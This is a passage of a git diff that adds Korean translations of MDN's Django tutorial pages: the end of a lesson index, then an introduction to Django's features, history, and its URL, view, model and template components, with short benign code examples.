+ <dd>이 수업에서는 우리가 만든  local library의 웹사이트를 확장해 볼 것입니다. 목록, 책이나 저자 정보를 담은 자세한 페이지들을 추가할 것입니다. 여기서는 일반적인 클래스 기반의 view를 배우고 보통 상황에서 어떻게 코드의 양을 줄일 수 있는지 살펴볼 것입니다. 우리는 또한 URL 핸들링에 대해 정말 자세히 들어가서, 기본적인 패턴 매칭을 어떻게 해야 하는지도 볼 것입니다. </dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a></dt>
+ <dd>여기서는 우리가 만든 로컬 라이브러리의 웹사이트에 '세션 기반 방문자 수 계산기' 를 홈페이지에 추가할 것입니다. 이것은 비교적 간단한 예제입니다. 하지만 귀하는 이 예제를 통해, 세션 프레임워크를 사용해서 어떻게 사이트에 방문하는 이름없는 사용자들의 반복적인 행동을 볼 수 있는지 (그 방법을) 알 수 있습니다. </dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Django/Authentication">Django Tutorial Part 8: User authentication and permissions</a></dt>
+ <dd>이 수업에서는 유저들에게 그들의 계정으로 웹사이트에 로그인 하게 하는 방법에 대해 배웁니다. 그리고 로그인 상태에 따라 그들이 보고 작성할 수 있는 범위를 통제하는 방법, 그들에게 허가를 내주는 방법을 배웁니다. 우리는 연습을 위해서 로컬 라이브러리 웹사이트를 확장해 볼 것입니다. 로그인 및 로그아웃 페이지를 추가하고, 대출 도서를 보여주는 페이지를 사용자용, 관리자용 각각 따로 만들어 볼 것입니다. </dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a></dt>
+ <dd>여기서는 Django에서 <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML Forms</a>을 어떻게 사용하는 살펴볼 것입니다. HTML은 특히 모델을 생성하고, 갱신하고, 지우는 등의 폼을 작성하는 가장 쉬운 방법입니다. 이번 연습에서는 로컬 라이브러리의 웹사이트를 확장하는 것도 포함되어 있습니다. 여기서 우리는 도서관 사서들이 (관리자 어플리케이션 보다는) 우리가 작성한 폼을 이용해서 책을 고치고, 생성하고, 업데이트하고 정보를 삭제할 수 있도록 웹사이트를 확장해 볼 것입니다. </dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a></dt>
+ <dd>웹사이트가 확장되어감에 따라 일일이 확인하기가 점점 어려워질 것입니다. 테스트해야할 요소 자체가 많아질 뿐만 아니라 요소간의 상호관계도 복잡해지면서 작은 요소의 변화가 다른 큰 요소들에까지 영향을 미치게됩니다.  이런 문제에 대한 걱정을 덜어줄 수 있는 방법은 자동 테스트 코드를 작성하는 것입니다. 자동 테스트 코드는 소스에 변화가 생길때마다 작동하는 코드입니다. 이번 강좌에서는 성능이 우수하면서도 작성이 간단한 Django의 테스트 프레임워크로 어떻게 당신의 웹사이트를 단위 테스트할수 있는지 알아봅니다.</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Django/Deployment">Django Tutorial Part 11: Deploying Django to production</a></dt>
+ <dd>이제 당신은 훌륭한 로컬저장소 웹사이트를 만들었으니, 로컬저장소가 아닌 공개 서버에 업로드 함으로써 인터넷을 통해 관리자와 사용자들이 접근할 수 있도록 하고싶을 겁니다. 이 수업에서는 호스트 업체를 찾고 웹사이트를 등록하는 방법과 사이트에 상품가치를 부여하는 방법을 알아봅니다.</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Django/web_application_security">Django web application security</a></dt>
+ <dd>사용자의 데이터를 보호하는 것은 웹사이트 디자인에서 중요한 부분입니다. 이전에 <a href="https://developer.mozilla.org/en-US/docs/Web/Security">Web security</a> 수업에서 일반적인 보안 위협들에 대해 알아보았습니다. 이번 항목에서는 Django에 내장된  보호 시스템이 이런 위협을 어떻게 처리하는지 실질적인 예시에 대해 살펴봅니다. </dd>
+</dl>
+
+<h2 id="평가">평가</h2>
+
+<p>밑에 제시되어있는 평가는 위에 설명 된 대로, 장고(Django)를 사용하여 웹 사이트를 만드는 방법에 대한 이해도를 테스트합니다.</p>
+
+<dl>
+ <dt><a href="/ko/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django 미니 블로그</a></dt>
+ <dd>이 평가에서, 귀하는 여기서 배운 지식을 활용해서 자신만의 블로그를 만들 수 있습니다. </dd>
+</dl>
diff --git a/files/ko/learn/server-side/django/introduction/index.html b/files/ko/learn/server-side/django/introduction/index.html
new file mode 100644
index 0000000000..f8034af90e
--- /dev/null
+++ b/files/ko/learn/server-side/django/introduction/index.html
@@ -0,0 +1,256 @@
+---
+title: Django 소개
+slug: Learn/Server-side/Django/Introduction
+tags:
+  - 장고
+translation_of: Learn/Server-side/Django/Introduction
+---
+<p>{{LearnSidebar}}</p>
+
+<div>{{NextMenu("Learn/Server-side/Django/development_environment", "Learn/Server-side/Django")}}</div>
+
+<p class="summary">Django의 첫번째 문서에서는 "Django가 뭐지?"라는 질문에 답해보고, Django 웹 프레임워크의 특별한 부분에 대해 전반적으로 살펴봅니다. 우리가 이 수업에서 자세히 다루지는 않을 고급 기능들까지 포함하여 간단하게 전반적인 부분을 살펴 볼겁니다. 또한, Django 애플리케이션을 구성하는 중요한 요소도 살펴보겠습니다. (물론 지금 시점에서는 테스트를 할 개발환경을 가지고 있지 않겠지만요.)</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">요구 사항</th>
+   <td>기본적인 컴퓨터 지식.  <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps">server-side website 프로그래밍</a>에 대한 전반적인 이해, 그리고 웹사이트의 <a href="/en-US/docs/Learn/Server-side/First_steps/Client-Server_overview">client-server interactions</a> 의 매커니즘에 대한 특정한 지식.</td>
+  </tr>
+  <tr>
+   <th scope="row">목표</th>
+   <td>
+    <p>Django란 무엇인지, 어떤 기능이 있는지, Django 어플리케이션의 주요 구성요소는 어떤것들인지에 대해 익숙해지기</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Django란">Django란?</h2>
+
+<p>Djano란 보안이 우수하고 유지보수가 편리한 웹사이트를 신속하게 개발하는 하도록 도움을 주는 파이썬 웹 프레임워크입니다. 훌륭한 개발자에 의해 만들어진 이 프레임워크는, 웹 개발을 하는데 많은 도움을 주기 때문에 새롭게 웹 개발을 시작할 필요없이 그저 프레임워크를 활용하여 앱 개발에만 집중할 수 있게되죠. 무료 오픈소스인데다가, 활발한 커뮤니티들이 있고, 좋은 참고자료와 무료 및 유료 지원을 하는 옵션들이 제공됩니다.</p>
+
+<p>Django는 다음과 같은 소프트웨어를 개발하는데 도움을 줍니다.</p>
+
+<dl>
+ <dt>Complete(완결성 있는)</dt>
+ <dd>Django는 "Batteries included" 의 철학을 기반으로 개발자들이 개발하고 싶은 거의 모든것을 개발하는데 도움을 줍니다. 개발자들이 원하는 것은 모두 하나의 "결과물"의 일부일 것이기 때문에 도달하고자 하는 목표지점은 같으며 이 덕분에 일관된 디자인 룰을 적용하여  <a href="https://docs.djangoproject.com/en/2.2/">광범위한 최신 문서</a>를 제공합니다.</dd>
+ <dt>Versatile(다용도의)</dt>
+ <dd>Django는 문서관리시스템과 Wiki부터 SNS, 뉴스에 이르기까지 다양한 종류의 웹 사이트를 빌드하는데 사용할 수 있고 사용되어 왔습니다. 또한 어떠한 클라이언트측 프레임워크와도 협업할 수 있고, 대부분의 형식(HTML, RSS 피드, JSON, XML 등)으로 컨텐츠를 전송할 수 있습니다. 당신이 보고 있는 이 사이트도 Django 기반입니다!<br>
+ <br>
+ 내부적으로 Django는 당신이 원하는 대부분의 기능들(몇몇 유명한 데이터베이스들, 템플릿 엔진 등)을 제공하지만, 필요하다면 다른 컴포넌트들을 사용하기 위해 확장될 수 있습니다. </dd>
+ <dt>Secure(안전한)</dt>
+ <dd>Django 는 개발자들이 웹사이트를 개발할 때 실수하기 쉽지만 고려해야하는 보안 문제에 대해서 많은 도움을 줍니다. 예를 들면, 장고는 유저의 계정과 비밀번호를 관리하는 안전한 방법을 제공합니다. 이 예에서 발생할 수 있는 개발자들의 실수로 세션의 정보를 보안에 취약한 위치에 있는 쿠키(해결책은 쿠키는 그저 key값을 가지도록 하는 반면 실제 데이터는 데이터 베이스에 저장하도록 하는 것입니다)에 넣는 실수를 하는 것입니다. 또 달리 쉽게할 수 있는 실수는 비밀번호를 hash를 통하지 않고 그대로 변형없이 저장하는 것이 있습니다.<br>
+ <br>
+ <em>비밀번호에 사용되는 hash 는 <a href="https://en.wikipedia.org/wiki/Cryptographic_hash_function">cryptographic hash function</a>에 의해 생성된 고정된 길이의 값을 가집니다. Django는 이렇게 변형되어 입력된 비밀번호가 유효한지 hash 함수를 통해 확인할 수 있습니다. 하지만 "단방향" 적인 함수의 특성상, 저장된 hash 값을 웹을 공격하는 사람들이 알아낸다고 하더라도 원본 비밀번호는 알아낼 수 없습니다.</em><br>
+ <br>
+ Django 는 SQL 인젝션, 크로스사이트 스크립팅, 크로스사이트 요청 위조 그리고 클릭 하이젝킹 (이러한 공격 방법에 대한 상세 정보는 <a href="/en-US/docs/Learn/Server-side/First_steps/Website_security">Website security</a>에서 볼 수 있습니다)과 같은 보안 취약점을 보완할 방법 기본적으로 제공합니다.</dd>
+ <dt>Scalable(확장성 있는)</dt>
+ <dd>Django는 컴포넌트 기반의 “<a href="https://en.wikipedia.org/wiki/Shared_nothing_architecture">shared-nothing</a>” 아키텍쳐(각각의 아키텍쳐가 독립적이어서 필요하다면 교체 및 변경할 수 있는)를 사용합니다. 각 부분이 분명하게 분리되면 어떤 레벨에서든(예를 들면 캐싱 서버, 데이터베이스 서버, 혹은 어플리케이션 서버) 하드웨어를 추가해서 발생하는 늘어난 트래픽에 대응해 크기를 변경할 수 있게 됩니다. 사용자가 가장 많은 몇몇 사이트는 요구사항에 맞춰서 Django의 크기를 성공적으로 변경했습니다. (예를들면 Instagram, Disqus 등)</dd>
+ <dt>Maintainable(유지보수가 쉬운)</dt>
+ <dd>Django 코드는 유지보수가 쉽고 재사용하기 좋게끔 하는 디자인 원칙들과 패턴들을 이용하여 작성됩니다. 특히 Don't Repeat Yourself (DRY) 원칙을 적용해서 불필요한 중복이 없고 많은 양의 코드를 줄였습니다. 또한 Django는 관련된 기능들을 재사용 가능한 "applications"로 그룹화했고, 더 낮은 레벨에서 관련된 코드들을 모듈로 만들었습니다. (<a href="/en-US/Apps/Fundamentals/Modern_web_app_architecture/MVC_architecture">Model View Controller (MVC)</a> 패턴과 유사합니다).</dd>
+ <dt>Portable(포터블한)</dt>
+ <dd>장고는 파이썬으로 작성되어 있으며, 파이썬은 많은 플랫폼에서 작동합니다. 그것은 특정한 서버 플랫폼에 얽매이지 않는다는 것을 의미하며, 리눅스, 윈도우 그리고 맥 OS X 등등 다양한 운영체제에서 작동할 수 있다는 뜻입니다. 나아가, 장고는 많은 웹 호스팅 공급자들에 의해서 지원되고 있습니다. 그들은 장고 사이트의 호스팅과 관련해서 특정한 인프라와 문서를 제공합니다. </dd>
+</dl>
+
+<h2 id="탄생_배경은_어떻게_되나요">탄생 배경은 어떻게 되나요?</h2>
+
+<p>장고는 신문 웹사이트를 제작 및 관리하던 어떤 웹 팀에 의해 2003년에서 2005년 사이에 처음으로 개발이 시작되었습니다. 여러 사이트들을 만들면서 웹 팀은 많은 공통 코드와 설계 패턴을 뽑아내어 재사용하였습니다. 이 공통 코드는 일반 웹 개발 프레임워크로 발전했습니다. 그리고 2005년 7월 "장고" 프로젝트로서 오픈소스화 되었죠.. </p>
+
+<p>장고는 2008년 9월 첫 번째 주요 릴리즈(1.0)에서부터 2017년의 최근 버전(2.0)까지 성장하고 발전했습니다. 장고는 각각의 버전에서 기능을 추가하고 버그를 수정했습니다. 새로운 유형의 데이터베이스, 탬플릿 엔진들 그리고 캐싱에 대한 지원에서부터 일반 보기 함수와 클래스들의 추가까지요(이를 통해 여러 프로그래밍 작업을 위해 개발자들이 작성해야 할 코드를 줄여줍니다). </p>
+
+<div class="note">
+<p><strong>Note</strong>: 장고를 더 좋게 만들기 위해 어떤 작업이 이루어지고 있는지, 최근 버전에서 어떤 변경이 있었는지 확인하려면 장고 웹사이트의 <span style="line-height: 1.5;"><a href="https://docs.djangoproject.com/en/1.10/releases/">release notes</a> 를 살펴보세요.</span></p>
+</div>
+
+<p>장고는 수많은 사용자와 기여자가 있는 협력적이고 번성하는 프로젝트입니다. 여전히 몇 가지 장고만의 특징이 있지만, 장고는 모든 유형의 웹사이트를 개발할 수 있는 다용도적인 웹 프레임워크로 발전했습니다.</p>
+
+<h2 id="Django의_인기는_어떤가요">Django의 인기는 어떤가요?</h2>
+
+<p>사실 서버 측 프레임워크의 인기에 대해 쉽고 확정적인 측정값은 없습니다(다만 <a href="http://hotframeworks.com/">Hot Frameworks</a> 와 같은 사이트는 각 플랫폼에 대해 GitHub 프로젝트와 StackOverflow 질문의 숫자를 세는 방법으로 인기에 대해 접근하려고 합니다). 장고가 인기없는 플랫폼의 문제를 피할 수 있을 만큼 "충분히 인기있는지"가 더 좋은 질문입니다. 장고가 계속 발전하나요? 도움이 필요할 때 받을 수 있나요? 장고를 배우면 돈을 받고 일할 기회가 생기나요?</p>
+
+<p>장고를 사용하는 상위 사이트의 숫자, 장고 코드베이스에 기여하는 사람들의 숫자, 그리고 급여가 지불되거나 지불되지 않거나에 상관없이 지원을 제공하는 사람들의 숫자에 근거해서, 맞습니다. 장고는 인기있는 프레임워크 입니다!</p>
+
+<p>장고를 사용하는 상위 사이트는 다음을 포함합니다 : Disqus, Instagram, Knight Foundation, MacArthur Foundation, Mozilla, National Geographic, Open Knowledge Foundation, Pinterest, and Open Stack (출처: <a href="https://www.djangoproject.com/">Django home page</a>).</p>
+
+<h2 id="Django는_독선적인가요">Django는 독선적인가요?</h2>
+
+<p>많은 웹 프레임웍들이 흔히 스스로를 "독선적(opinionated)"이라거나 "관용적(unopinionated)"이라고 표현합니다.</p>
+
+<p>독선적인 프레임웍들은 어떤 특정 작업을 다루는 "올바른 방법"에 대한 분명한 의견을 가지고 있습니다. 그것들은 대체로 특정 도메인(특정 타입의 문제를 해결하는)내에서 빠른 개발방법을 제시합니다. 어떤 작업에 대한 올바른 방법이란 보통 잘 알려져있고 문서화가 잘되어있기 때문입니다. 하지만 그것들은 주요 도메인을 벗어난 문제에 대해서는 그리 유연하지 못한 해결책을 제시할 수 있습니다. 또한 이용할수 있는 접근법이나 선택가능한 구성요소가 그리 많지 않을것입니다. </p>
+
+<p>반면에, 관용적인 프레임웍들은, 구성요소를 한데 붙여서 해결해야 한다거나 심지어 어떤 컴퍼넌트를 써야한다는 '올바른 방법'에 대한 제약이 거의 없다시피 합니다. 그것들은 개발자들이 특정 작업을 완수하는데에 가장 적절한 도구들을 이용하기 쉽게 만들어줍니다. 비록 당신 스스로가 그 컴퍼넌트들을 찾아야 한다는 수고는 해야하긴 하지만 말이죠.</p>
+
+<p>Django는 "다소 독선적" 입니다. 그럼으로써 "양쪽 세계의 최선"의 결과를 전달합니다. Django는 대부분의 웹 개발 작업을 다루는 컴퍼넌트 세트와 그 세트를 이용하는 한, 두가지의 인기있는 방법을 제공합니다. 하지만 Django의 비결합 구조 (decoupled  architecture) 덕분에 당신은  꽤 많은 옵션들중에서 다른 방법을 선택하거나 원한다면 완전히 새로운 방법을 만들어 낼 수도 있습니다.</p>
+
+<h2 id="Django_코드는_어떻게_생겼나요">Django 코드는 어떻게 생겼나요?</h2>
+
+<p>전형적인 데이터 기반 웹 사이트에서 웹 어플리케이션은 웹 브라우저(또는 다른 클라이언트)로부터 HTTP 요청(Request)을 기다립니다. 요청을 받으면, 웹 어플리케이션은 URL과 <code>POST</code> 데이터 또는 <code>GET</code> 데이터의 정보에 기반하여 요구사항을 알아냅니다. 그 다음 무엇이 필요한 지에 따라, 데이터베이스로부터 정보를 읽거나 쓰고, 또는 필요한 다른 작업들을 수행할 것입니다. 그 다음 웹 어플리케이션은 웹 브라우저에 응답(Response)을 반환하는데, 주로 동적인 HTML 페이지를 생성하면서 응답합니다.</p>
+
+<p>Django 웹 어플리케이션은 전형적으로 아래와 같이 분류된 파일들에 대해 일련의 단계를 수행하는 코드로 구성되어 있습니다:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13931/basic-django.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<ul>
+ <li><strong>URLs: </strong>단일 함수를 통해 모든 URL 요청을 처리하는 것이 가능하지만, 분리된 뷰 함수를 작성하는 것이 각각의 리소스를 유지보수하기 훨씬 쉽습니다. URL mapper는 요청 URL을 기준으로 HTTP 요청을 적절한 뷰(view)로 보내주기 위해 사용됩니다. 또한 URL mapper는 URL에 나타나는 특정한 문자열이나 숫자의 패턴을 일치시켜 데이터로서 뷰 함수에 전달할 수 있습니다.</li>
+ <li><strong>View:</strong> 뷰는 HTTP 요청을 수신하고 HTTP 응답을 반환하는 요청 처리 함수입니다. 뷰는 Model을 통해 요청을 충족시키는데 필요한 데이터에 접근합니다. 그리고 탬플릿에게 응답의 서식 설정을 맡깁니다.</li>
+ <li><strong>Models:</strong> 모델은 응용프로그램의 데이터 구조를 정의하고 데이터베이스의 기록을 관리(추가, 수정, 삭제)하고 쿼리하는 방법을 제공하는 파이썬 객체입니다.</li>
+ <li><strong>Templates: </strong>탬플릿은 파일의 구조나 레이아웃을 정의하고(예: HTML 페이지), 실제 내용을 보여주는 데 사용되는 플레이스홀더를 가진 텍스트 파일입니다. 뷰는 HTML 탬플릿을 이용하여 동적으로 HTML 페이지를 만들고 모델에서 가져온 데이터로 채웁니다. 탬플릿으로 모든 파일의 구조를 정의할 수 있습니다.탬플릿이 꼭 HTML 타입일 필요는 없습니다!</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: 장고는 이 구조를 "모델 뷰 템플릿(Model View Template)(MVT)" 아키텍처라고 부릅니다. 이것은 더 익숙한 <a href="/en-US/docs/Web/Apps/Fundamentals/Modern_web_app_architecture/MVC_architecture">Model View Controller</a> 아키텍처와 많은 유사점을 가지고 있습니다.</p>
+</div>
+
+<ul>
+</ul>
+
+<p>아래 부문들은 장고 앱의 주요 부분들이 어떻게 보일지에 대한 단서를 보여줄 것입니다          (우리는 개발 환경을 설치한 이후에 세부적인 디테일에 대해 다룰겁니다).</p>
+
+<h3 id="요청을_알맞은_뷰로_전달_urls.py">요청을 알맞은 뷰로 전달 (urls.py)</h3>
+
+<p>URL mapper는 보통 <strong>urls.py</strong>라는 이름의 파일에 저장되어 있습니다. 아래 예시에서 <code>urlpatterns</code> 맵퍼는 경로들(특정 URL 패턴들)과 해당하는 뷰 함수에 대한 맵핑 목록들을 정의합니다. 만약 지정된 URL 패턴과 일치하는 HTTP 요청이 수신된다면 관련된 view 함수가 요청을 전달합니다.</p>
+
+<pre class="notranslate"><code>urlpatterns = [
+    path('admin/', admin.site.urls),
+    path('book/&lt;int:id&gt;/', views.book_detail, name='book_detail'),
+    path('catalog/', include('catalog.urls')),
+    re_path(r'^([0-9]+)/$', views.best),
+]</code></pre>
+
+<p><code>urlpatterns</code> 객체는 <code>path()</code>함수와 <code>re_path()</code><span> 함수를 항목으로 가지는 리스트입니다 (파이썬 리스트는 대괄호를 사용하여 구분되며, 항목은 쉼표로 분리되고 선택적으로 후행 쉼표가 있을 수 있습니다. 예시: [item1, item2, item3, ]).</span></p>
+
+<p><span>두 메소드의 첫 번째 인수는 일치시킬 경로(패턴)입니다. </span><code>path()</code><span> 메소드는 꺾쇠 괄호(&lt;, &gt;)를 사용해서 인수를 정의합니다. 이 인수는 URL의 한 부분으로, 명명된 인수로 수집되어 뷰 함수로 보내집니다. </span><code>re_path()</code><span> 함수는 정규식이라는 유연한 패턴 매칭 접근을 사용합니다. 이것에 대해서는 나중에 다루도록 하겠습니다!</span></p>
+
+<p>두 번째 인수는 패턴이 일치할 때 호출되는 다른 함수입니다. <code>views.book_detail</code>은 이 함수가 <code>book_detail()</code>이며  <code>views</code> 모듈 안에서 찾을 수 있다는 것을 나타냅니다 (즉, <code>views.py</code>라는 파일 안에서요).</p>
+
+<h3 id="요청_처리하기_views.py">요청 처리하기 (views.py)</h3>
+
+<p>뷰들은 웹 클라이언트로부터 HTTP 요청을 수신하고 HTTP 응답을 되돌려주는 웹 어플리케이션의 심장입니다. 그 사이에 그들은 데이터베이스에 접근하고 템플릿을 렌더링하기 위해 프레임워크읟 다른 자원들을 정리합니다.</p>
+
+<p>아래 예시는 이전 예시의 URL mapper가 불러올 수 있는 최소 뷰 함수 <code>index()</code>를 보여줍니다. 다른 모든 뷰 함수처럼 이 함수도 <code>HttpRequest</code> 객체를 인자(<code>request</code>)로 받고 <code>HttpResponse</code> 객체를 반환합니다. 이 예시에서는 요청에 관해서는 아무것도 하지 않고, 단순히 하드코딩된 문자열을 반환합니다. 요청에 관련해서는 이후 글에서 더 자세하게 다루겠습니다.</p>
+
+<pre class="brush: python notranslate">## filename: views.py (Django view functions)
+
+from django.http import HttpResponse
+
+def index(request):
+    # Get an HttpRequest - the request parameter
+    # perform operations using information from the request.
+    # Return HttpResponse
+    return HttpResponse('Hello from Django!')
+</pre>
+
+<div class="note">
+<p><strong>Note</strong>: 파이썬에 관하여:</p>
+
+<ul>
+ <li><a href="https://docs.python.org/3/tutorial/modules.html">Python modules</a>은 우리가 코드에 쓰고 싶을지도 모르며 분리된 파일로 저장되어 있는 함수의 "라이브러리" 입니다.</li>
+ <li><code>from django.http import HttpResponse</code>와 같은 방법으로 <code>django.http</code> 모듈에서 <code>HttpResponse</code> 객체만 가져와서 뷰에서 사용할 수 있습니다. 모듈에서 여럿, 아니면 전체 모듈을 임포트할  수 있는 몇 가지 방법이 있습니다.</li>
+ <li>함수들은 위에 보여진 것과 같이<code>def</code> 키워드로 정의됩니다. 함수의 이름 뒤 괄호 안에 는 명명된 인자들이 나열되어 있습니다. 전체 줄은 콜론으로 끝납니다. 그 아랫 줄이 모두 <strong>들여쓰기 되어있다는 것</strong>에 유의하세요. 들여쓰기는 코드 행이 특정한 블록 안에 있다는 것을 나타내기 때문에 중요합니다(필수적인 들여쓰기는 파이썬의 주요 기능이며, 파이썬 코드가 읽기 쉬운 이유 중 하나이기도 합니다).</li>
+</ul>
+</div>
+
+<ul>
+</ul>
+
+<p>뷰들은 보통 <strong>views.py</strong>.라는 파일 안에 저장되어 있습니다.</p>
+
+<h3 id="데이터_모델_정의하기_models.py">데이터 모델 정의하기 (models.py)</h3>
+
+<p>장고 웹 어플리케이션은 모델(models)이라는 파이썬 객체를 통해 데이터를 관리하고 쿼리합니다. 모델은 필드 타입과 그들의 최대 크기, 기본 값들, 선택 목록 옵션, 문서의 도움말 텍스트, 폼(form)을 위한 labe text등을 포함하여 저장된 데이터의 구조를 정의합니다. 모델의 정의는 기본 데이터베이스와 별개입니다. 본인의 프로젝트 설정의 일부로써 여러 모델 중 하나를 선택할 수 있습니다. 본인이 사용할 데이터베이스를 정했다면, 그것에 직접적으로 접근할 필요가 없습니다. 그저 모델 구조와 다른 코드들을 작성하면, 장고가 당신과 데이터베이스가 소통하는 데 필요한 모든 더러운 작업들을 처리합니다.</p>
+
+<p>아래 코드는 <code>Team</code> 객체를 위한 아주 간단한 장고 모델을 보여줍니다. <code>Team</code> 객체는 장고 클래스<code>models.Model</code>에서 파생되었습니다. 이 객체는 팀 이름과 팀 레벨을 캐릭터 필드로 정의하고 각각의 기록에 저장될 최대 캐릭터 숫자를 정합니다. <code>team_level</code>은 랜덤으로 값이 선정되기 때문에, 우리는 이를 choice 필드로 정의하며, choices들 간에 선택된 값이 보여지고 디폴트 값에 따른 데이터가 저장되도록 합니다. </p>
+
+<pre class="brush: python notranslate"># filename: models.py
+
+from django.db import models
+
+class Team(models.Model):
+    team_name = models.CharField(max_length=40)
+
+    TEAM_LEVELS = (
+        ('U09', 'Under 09s'),
+        ('U10', 'Under 10s'),
+        ('U11', 'Under 11s'),
+        ...  #list other team levels
+    )
+    team_level = models.CharField(max_length=3, choices=TEAM_LEVELS, default='U11')
+</pre>
+
+<div class="note">
+<p><strong>참고 : 파이썬에 대해</strong></p>
+
+<p>파이썬은 코드를 객체로 구성하는 프로그래밍 스타일인 "객체 지향 프로그래밍"을 지원합니다. 여기에는 관련 데이터 및 해당 데이터를 조작하기위한 함수가 포함됩니다. 객체는 다른 객체로부터 상속, 확장, 파생할 수 있어 관련 객체 간의 공통 동작을 공유 할 수 있습니다. 파이썬에서는 키워드 클래스를 사용하여 객체의 "청사진"을 정의합니다. 클래스의 모델을 기반으로 객체 유형의 여러 특정 인스턴스를 만들 수 있습니다.</p>
+
+<p>예를 들어 여기 Model 클래스에서 파생된 Team 클래스가 있습니다. 이는 모델이며 모델의 모든 방법을 포함할 것이지만 고유한 기능도 제공 할 수 있습니다. 이 모델에서는 데이터베이스가 데이터를 저장하는데 필요한 필드를 정의하여 특정 이름을 지정합니다. 장고는 필드 이름을 포함한 이러한 정의를 사용하여 기본 데이터베이스를 만듭니다.</p>
+</div>
+
+<h3 id="데이터_쿼리하기_views.py">데이터 쿼리하기 (views.py)</h3>
+
+<p>장고 모델은 데이터베이스를 간단히 탐색하기 위한 쿼리 API를 제공합니다. 이 API는 다양한 조건을 통해 수 많은 필드를 빠르게 매칭시킵니다. (예를 들어, 정확하게 일치(exact), 대소문자 구분없이(case-insensitive), 해당 숫자보다 큰(greater than) 등이 있습니다.) 그리고 복잡한 쿼리문을 지원합니다. 예를 들어, 당신은 팀의 이름이 "Fr"로 시작하거나 "al"로 끝나는 U11 레벨의 팀만을 지정할 수 있습니다.</p>
+
+<p>굵게 표시된 줄은 모델 쿼리 API를 사용하여 <code>team_level</code> 필드의 텍트스가 정확히 'U09'인 모든 레코드를 필터링하는 방법을 보여줍니다 (이 기준이 필드 이름의 인수로 <code>filter()</code> 함수에 전달되는 방법에 유의하십시오. 일치 유형은 <strong><code>team_level__exact</code></strong>와 같이 이중 밑줄로 구분됩니다).</p>
+
+<pre class="brush: python notranslate">## filename: views.py
+
+from django.shortcuts import render
+from .models import Team
+
+def index(request):
+    <strong>list_teams = Team.objects.filter(team_level__exact="U09")</strong>
+    context = {'youngest_teams': list_teams}
+    return render(request, '/best/index.html', context)
+</pre>
+
+<dl>
+</dl>
+
+<p>이 함수는 <code>render()</code> 함수를 사용하여 브라우저로 다시 전송되는 <code>HttpResponse</code>를 만듭니다. 지정된 HTML 템플릿과 템플릿에 삽입할 일부 데이터( "컨텍스트"라는 변수에 제공)를 결합하여 HTML 파일을 생성합니다. 다음 섹션에서는 템플릿을 생성하기 위해 템플릿에 데이터를 삽입하는 방법을 보여줍니다.</p>
+
+<h3 id="데이터_렌더링_HTML_템플릿">데이터 렌더링 (HTML 템플릿)</h3>
+
+<p>템플릿 시스템을 사용하면 페이지가 생성될 때 채워질 데이터에 자리 표시자를 사용하여 출력 문서의 구조를 지정할 수 있습니다. 템플릿은 종종 HTML을 만드는 데 사용되지만 다른 유형의 문서를 만들 수도 있습니다. 장고는 기본 템플릿 시스템과 Jinja2라는 인기있는 파이썬 라이브러리를 모두 지원합니다 (필요한 경우 다른 시스템을 지원하도록 만들 수도 있음).</p>
+
+<p>아래 코드는 이전 섹션의 <code>render()</code> 함수가 호출한 HTML 템플릿의 모양을 보여줍니다. 이 템플릿은 렌더링될 때 (위의 <code>render()</code> 함수 내의 컨텍스트 변수에 포함 된) "youngest_teams"라는 목록 변수에 액세스할 수 있다는 가정하에 작성되었습니다. HTML 스켈레톤에는 먼저 youngest_teams 변수가 있는지 확인한 후 <code>for</code> 루프에서 반복하는 표현식이 있습니다. 각 반복에서 템플리트는 각 팀의 <code>team_name</code> 값을 <code>&lt;li&gt;</code> 태그의 값으로 표시합니다.</p>
+
+<pre class="notranslate">## filename: best/templates/best/index.html
+
+&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+  &lt;meta charset="utf-8"&gt;
+  &lt;title&gt;Home page&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  {% if youngest_teams %}
+    &lt;ul&gt;
+      {% for team in youngest_teams %}
+        &lt;li&gt;\{\{ team.team_name \}\}&lt;/li&gt;
+      {% endfor %}
+    &lt;/ul&gt;
+  {% else %}
+    &lt;p&gt;No teams are available.&lt;/p&gt;
+  {% endif %}
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="또_무엇을_할수_있나요">또 무엇을 할수 있나요?</h2>
+
+<p>이전 섹션에서는 거의 모든 웹 응용 프로그램에서 사용할 주요 기능인 URL 매핑, 뷰, 모델 및 템플릿을 보여줍니다. 추가로 장고가 제공하는 기능들은 다음과 같습니다.</p>
+
+<ul>
+ <li><strong>양식</strong> : HTML 양식은 서버에서 처리할 사용자 데이터를 수집하는 데 사용됩니다. 장고는 양식 작성, 유효성 검사 및 처리를 단순화합니다.</li>
+ <li><strong>사용자 인증 및 권한 </strong>: 장고에는 보안을 염두에 두고 구축된 강력한 사용자 인증 및 권한 시스템이 포함되어 있습니다.</li>
+ <li><strong>캐싱</strong> : 컨텐츠를 동적으로 작성하는 것은 정적 컨텐츠를 제공하는 것 보다 많은 연산을 필요로 하기 때문에 느립니다. 장고는 유연한 캐싱을 제공하여 렌더링된 페이지 전체 또는 일부를 저장하여 필요할 때를 제외하고 다시 렌더링하지 않도록 할 수 있습니다.</li>
+ <li><strong>관리 사이트 </strong>: 기본 스켈레톤을 사용하여 앱을 만들 때 장고 관리 사이트가 기본적으로 포함됩니다. 사이트 관리자가 사이트의 모든 데이터 모델을 작성, 편집 및 볼 수있는 관리 페이지를 쉽게 제공할 수 있습니다.</li>
